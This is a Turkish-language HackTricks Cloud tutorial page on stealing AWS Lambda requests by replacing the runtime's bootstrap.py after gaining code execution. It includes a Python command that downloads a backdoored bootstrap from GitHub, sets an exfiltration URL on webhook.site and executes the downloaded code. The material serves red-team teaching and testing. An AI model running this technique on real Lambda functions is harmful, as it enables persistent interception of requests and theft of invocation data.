AWS - Lambda İsteklerini Çal
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Lambda Akışı
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer, invocation’ları init sürecine gönderen konteyner dışındaki bir süreçtir.
- Init süreci, bazı ilginç uç noktaları açığa çıkaran 9001 portunu dinler:
/2018-06-01/runtime/invocation/next– bir sonraki invocation olayını al/2018-06-01/runtime/invocation/{invoke-id}/response– invoke için handler yanıtını döndür/2018-06-01/runtime/invocation/{invoke-id}/error– bir yürütme hatası döndür
- bootstrap.py, init sürecinden invocation’ları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (
/next). - Son olarak, bootstrap.py init’e yanıtı gönderir.
Bootstrap’ın kullanıcı kodunu bir modül olarak yüklediğini unutmayın, bu nedenle kullanıcı kodu tarafından gerçekleştirilen herhangi bir kod yürütmesi aslında bu süreçte gerçekleşmektedir.
Lambda İsteklerini Çalmak
Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen bootstrap.py süreci içinde kötü niyetli bir bootstrap.py süreci çalıştırmasını sağlamaktır. Bu şekilde, kötü niyetli bootstrap süreci, istekleri işlemek için init süreciyle iletişim kurmaya başlayacakken, meşru bootstrap, kötü niyetli olanı çalıştırarak tuzağa düşürülmüş olacaktır, böylece init sürecine istek sormayacaktır.
Bu, kullanıcı kodunun meşru bootstrap.py süreci tarafından yürütüldüğü için basit bir görevdir. Böylece saldırgan:
- Mevcut invocation’ın sahte bir sonucunu init sürecine gönderebilir, böylece init, bootstrap sürecinin daha fazla invocation beklediğini düşünebilir.
/${invoke-id}/responseadresine bir istek gönderilmelidir.- Invoke-id, meşru
bootstrap.pysürecinin yığınından inspect python modülünü kullanarak elde edilebilir (burada önerildiği gibi) veya sadece tekrar/2018-06-01/runtime/invocation/nextadresine istekte bulunarak elde edilebilir (burada önerildiği gibi). - Bir sonraki invocation’ları yönetecek kötü niyetli bir
boostrap.pyçalıştırın. - Gizlilik amacıyla, lambda invocation parametrelerini saldırganın kontrolündeki bir C2’ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür.
- Bu saldırı için,
bootstrap.py’nin orijinal kodunu sistemden veya github üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda invocation’ından çalıştırmak yeterlidir.
Saldırı Adımları
- Bir RCE açığı bulun.
- Kötü niyetli bir bootstrap oluşturun (örneğin, https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py).
- Kötü niyetli bootstrap’ı çalıştırın.
Bu eylemleri kolayca gerçekleştirebilirsiniz:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
Daha fazla bilgi için kontrol edin https://github.com/carlospolop/lambda_bootstrap_switcher
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

